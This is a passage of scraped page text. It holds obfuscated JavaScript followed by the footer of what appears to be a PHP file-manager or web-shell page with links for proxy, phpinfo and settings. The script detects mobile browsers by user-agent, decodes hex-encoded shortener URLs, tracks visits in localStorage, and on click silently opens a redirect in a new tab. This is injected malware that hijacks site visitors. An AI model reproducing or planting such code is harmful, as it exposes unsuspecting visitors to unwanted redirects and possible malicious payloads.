|_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.06 |
proxy
|
phpinfo
|
Settings